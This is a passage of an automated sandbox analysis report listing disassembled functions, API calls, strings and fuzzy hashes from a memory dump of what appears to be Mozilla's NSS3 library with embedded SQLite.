Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: b895dd0232256dfcee4e4a506978d0bf9fefc2bb34f3070858f1924f08c9d7eb
Instruction ID: 5b7cf86881e6b2fb47755ed021abe73806344ad94c456e02b58ac5bddac3c823
Opcode Fuzzy Hash: b895dd0232256dfcee4e4a506978d0bf9fefc2bb34f3070858f1924f08c9d7eb
Instruction Fuzzy Hash: 1241D3B1B011805BDF009FFAD89CA4F37B9AB46358F140629E51DD7B40D771D809CB95

Function 6CBAFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBAFF00

Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CBAFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CBAFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CBAFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CBAFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CBAFF8C

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 36f95b1998dd43d7852550981903618e74e89c7a5108118ebb712f0c7fdcd19f
Instruction ID: 70807b98d7c7606890e3ae6deef00603af5ad9dba7602133920a39b4de548139
Opcode Fuzzy Hash: 36f95b1998dd43d7852550981903618e74e89c7a5108118ebb712f0c7fdcd19f
Instruction Fuzzy Hash: 483129F190A3D65BEB108E949C40BBA77A8EF59348F140135ED58A7B40FB72D905C7D2

Function 6CBB4DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CBB536F,00000022,?,?,00000000,?), ref: 6CBB4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CBB4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CBB4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CBB4FAE
free.MOZGLUE(?), ref: 6CBB4FC8

Strings

%s=%c%s%c, xrefs: 6CBB4FA9
%s=%s, xrefs: 6CBB4F89

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: bfbea78a4ea601eab4f79fb9b399d87191cfce55bdada1d244a3ebea037091a9
Instruction ID: 75e259960a9e269a548c4e0e2641890fa570cc6512c8e48fe62a02a645395dec
Opcode Fuzzy Hash: bfbea78a4ea601eab4f79fb9b399d87191cfce55bdada1d244a3ebea037091a9
Instruction Fuzzy Hash: E4513561A051D68BEF05CAA984907FF7BF5FF46348F188125F898B7A41DB3588058FA2

Function 6CAF7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CAF7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CAF7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CAF7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CAF7F2E

Strings

%s at line %d of [%.10s], xrefs: 6CAF7EE7, 6CAF7F28
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CAF7ED8, 6CAF7F08, 6CAF7F19
database corruption, xrefs: 6CAF7EE2, 6CAF7F23

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: a48d8ae0b60fc6d51709f554ae5450d7e972013286ffda2f751df438a1669a33
Instruction ID: 0ab2bf52c3eda072d0bcd21cfe4c1d262f1e99d5bb3040a1b3331dd46e8575c2
Opcode Fuzzy Hash: a48d8ae0b60fc6d51709f554ae5450d7e972013286ffda2f751df438a1669a33
Instruction Fuzzy Hash: FF61C370A042059FDB05CF69C890BAA7772BF45318F1845AAFC298FB51D730EC96CBA0

Function 6CADFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CADFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CADFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CADFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CADFE83

Part of subcall function 6CADFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CADFEFA
Part of subcall function 6CADFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CADFF3B

Strings

%s at line %d of [%.10s], xrefs: 6CADFD73, 6CADFE35
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CADFD64, 6CADFE26
database corruption, xrefs: 6CADFD6E, 6CADFE30

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: cdfe688de05a2804b347311503a9dd4218cc45b939a0a43c7f59e0d46f3973da
Instruction ID: ec32ca136705b74ed7ca7a0a3958d9eb5dbd3ebbac348e72eac40421a68dc894
Opcode Fuzzy Hash: cdfe688de05a2804b347311503a9dd4218cc45b939a0a43c7f59e0d46f3973da
Instruction Fuzzy Hash: E1516171A002059FDB04CFA9DD90AAFB7B1EF48308F19406DE905AB756E731ED94CB90

Function 6CC22F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC22FFD
sqlite3_initialize.NSS3 ref: 6CC23007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC23032
sqlite3_mprintf.NSS3(6CC8AAF9,?), ref: 6CC23073
sqlite3_free.NSS3(?), ref: 6CC230B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CC230C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CC230BB

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 1562a03061aeeac31e6b637bba2691f914ddde152cbdcad22c00221cb2768def
Instruction ID: d1dc6383eee8b6b9d62623bacd0a3652d5f60023c59d9dcb4ec3ba3b2ffe0f2d
Opcode Fuzzy Hash: 1562a03061aeeac31e6b637bba2691f914ddde152cbdcad22c00221cb2768def
Instruction Fuzzy Hash: 0941A471600606AFDB10CF25D880A8AB7B9FF44368F198629EC5987B40F735F995CBE1

Function 6CB68CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CB7124D,00000001), ref: 6CB68D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CB7124D,00000001), ref: 6CB68D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CB7124D,00000001), ref: 6CB68D73
PR_Unlock.NSS3(?,?,?,?,?,6CB7124D,00000001), ref: 6CB68D8C

Part of subcall function 6CBFDD70: TlsGetValue.KERNEL32 ref: 6CBFDD8C
Part of subcall function 6CBFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBFDDB4

PR_Unlock.NSS3(?,?,?,?,?,6CB7124D,00000001), ref: 6CB68DBA

Strings

KRAM, xrefs: 6CB68D3E
KRAM, xrefs: 6CB68CF9

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 93738d85eb9d75cf233c6ba7cafa0703820209f8055429dd5789352d4f10b717
Instruction ID: fd9d4644f0d64986168b80b8bcc0aea95f490a32a3a33ec5178e1102b303d7fb
Opcode Fuzzy Hash: 93738d85eb9d75cf233c6ba7cafa0703820209f8055429dd5789352d4f10b717
Instruction Fuzzy Hash: 5A219FB5A046518FCB00EF7AC48465EB7F0FF46308F15896ED99887B01E732D846CBA2

Function 6CB8ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CB8ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CB8AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB8AD23

Part of subcall function 6CC6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CB8AD39

Strings

(CK_INVALID_HANDLE), xrefs: 6CB8AD1C
hSession = 0x%x, xrefs: 6CB8ACFE, 6CB8AD0E
C_MessageDecryptFinal, xrefs: 6CB8ACE1

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 8cf7e76259181e553ccb0f4b412de6a2be643f8fdab4e50f2c41e0cfeb88a696
Instruction ID: 25c138084dfd9db1a53e7d1e4de02af6fcc64f149342884b60293951b28b83ae
Opcode Fuzzy Hash: 8cf7e76259181e553ccb0f4b412de6a2be643f8fdab4e50f2c41e0cfeb88a696
Instruction Fuzzy Hash: BA210E717021949FDB00DBA4DD98BAE37B5EB4131EF044425E809EBB91EB309C49CF96

Function 6CC60ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CC60EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CC60EFA

Part of subcall function 6CB4AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CB4AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC60F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC60F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC60F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC60F2B

Strings

Aborting, xrefs: 6CC60EB3
Assertion failure: %s, at %s:%d, xrefs: 6CC60ED9, 6CC60EE5, 6CC60F06, 6CC60F0B

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 042a52e523e9bf2f5ce6f3eecd5c709c2449ee091e4e2021f301ac0a0c7fa387
Instruction ID: f7ffa6805f992956510cb3b8e8e45420cbe1ca5a6e0a0b6d877bb6b5fd4bcb0f
Opcode Fuzzy Hash: 042a52e523e9bf2f5ce6f3eecd5c709c2449ee091e4e2021f301ac0a0c7fa387
Instruction Fuzzy Hash: 45016DB5900118ABDF01AFA5EC89CAB3F7DEF46364B004064FD0997A51E672E9509BA2

Function 6CC24D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CC24DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC24DE0

Strings

misuse, xrefs: 6CC24DD5
%s at line %d of [%.10s], xrefs: 6CC24DDA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC24DCB
invalid, xrefs: 6CC24DB8
API call with %s database connection pointer, xrefs: 6CC24DBD

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 58226dbe027ddafae4810fd66b4b87b8d2eeb9b0a0d5c23f8d38c727d6c350cd
Instruction ID: 43b58366f41314ad94f0bf8cc2bb70611dd0fc38d5e4621b8094f2576b4b3806
Opcode Fuzzy Hash: 58226dbe027ddafae4810fd66b4b87b8d2eeb9b0a0d5c23f8d38c727d6c350cd
Instruction Fuzzy Hash: 79F0E931F156742BD700D155CC10F873B555F0272DF4609E1FD046BEA2F21DA85083D1

Function 6CC24DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CC24E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC24E4D

Strings

misuse, xrefs: 6CC24E42
%s at line %d of [%.10s], xrefs: 6CC24E47
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC24E38
invalid, xrefs: 6CC24E25
API call with %s database connection pointer, xrefs: 6CC24E2A

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 6c4b12f9bee284fb58da05e5767edbe5e37a9dcb4be609f2f8393e182521aa70
Instruction ID: 6ae42c1fe424dda047ac7dc7e7687dbf111cc3e8e10ad034e3fa2ad35402e931
Opcode Fuzzy Hash: 6c4b12f9bee284fb58da05e5767edbe5e37a9dcb4be609f2f8393e182521aa70
Instruction Fuzzy Hash: 0CF02721F46968AFF710906E9C10F877B854B0232DF4944A1EA0C6BE92F30D9C6042D1

Function 6CB59FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB5A086
EnterCriticalSection.KERNEL32(?), ref: 6CB5A09B
PR_Unlock.NSS3(?), ref: 6CB5A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB5A0E9
TlsGetValue.KERNEL32 ref: 6CB5A11B
EnterCriticalSection.KERNEL32(?), ref: 6CB5A12F
PR_Unlock.NSS3(?), ref: 6CB5A148

Part of subcall function 6CB71A40: PR_Now.NSS3(?,00000000,6CB528AD,00000000,?,6CB6F09A,00000000,6CB528AD,6CB593B0,?,6CB593B0,6CB528AD,00000000,?,00000000), ref: 6CB71A65

Part of subcall function 6CB71940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CB74126,?), ref: 6CB71966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB5A1A3

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 6c4eeb00bec0fc02c9bd78e5077fea7d7818b5fd7368785ab6d1e49358b57705
Instruction ID: 086b044b308255b6c1aae8ecdb2ded7aca115071fa2e4461b8a7ea66900ab6e7
Opcode Fuzzy Hash: 6c4eeb00bec0fc02c9bd78e5077fea7d7818b5fd7368785ab6d1e49358b57705
Instruction Fuzzy Hash: 7251C9B1A002809BEB109F79DC44ABF77B8EF46348B594429DC29E7B01EB31D855CBB1

Function 6CB90C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CB91444,?,00000001,?,00000000,00000000,?,?,6CB91444,?,?,00000000,?,?), ref: 6CB90CB3

Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CB91444,?,00000001,?,00000000,00000000,?,?,6CB91444,?), ref: 6CB90DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CB91444,?,00000001,?,00000000,00000000,?,?,6CB91444,?), ref: 6CB90DEC

Part of subcall function 6CBB0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CB52AF5,?,?,?,?,?,6CB50A1B,00000000), ref: 6CBB0F1A
Part of subcall function 6CBB0F10: malloc.MOZGLUE(00000001), ref: 6CBB0F30
Part of subcall function 6CBB0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CBB0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CB91444,?,00000001,?,00000000,00000000,?), ref: 6CB90DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CB91444,?,00000001,?,00000000), ref: 6CB90E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CB91444,?,00000001,?,00000000,00000000,?), ref: 6CB90E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CB91444,?,00000001,?,00000000,00000000,?,?,6CB91444,?,?,00000000), ref: 6CB90E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CB91444,?,00000001,?,00000000,00000000,?), ref: 6CB90E79

Part of subcall function 6CBA1560: TlsGetValue.KERNEL32(00000000,?,6CB70844,?), ref: 6CBA157A
Part of subcall function 6CBA1560: EnterCriticalSection.KERNEL32(?,?,?,6CB70844,?), ref: 6CBA158F
Part of subcall function 6CBA1560: PR_Unlock.NSS3(?,?,?,?,6CB70844,?), ref: 6CBA15B2

Part of subcall function 6CB6B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CB71397,00000000,?,6CB6CF93,5B5F5EC0,00000000,?,6CB71397,?), ref: 6CB6B1CB
Part of subcall function 6CB6B1A0: free.MOZGLUE(5B5F5EC0,?,6CB6CF93,5B5F5EC0,00000000,?,6CB71397,?), ref: 6CB6B1D2

Part of subcall function 6CB689E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CB688AE,-00000008), ref: 6CB68A04
Part of subcall function 6CB689E0: EnterCriticalSection.KERNEL32(?), ref: 6CB68A15
Part of subcall function 6CB689E0: memset.VCRUNTIME140(6CB688AE,00000000,00000132), ref: 6CB68A27
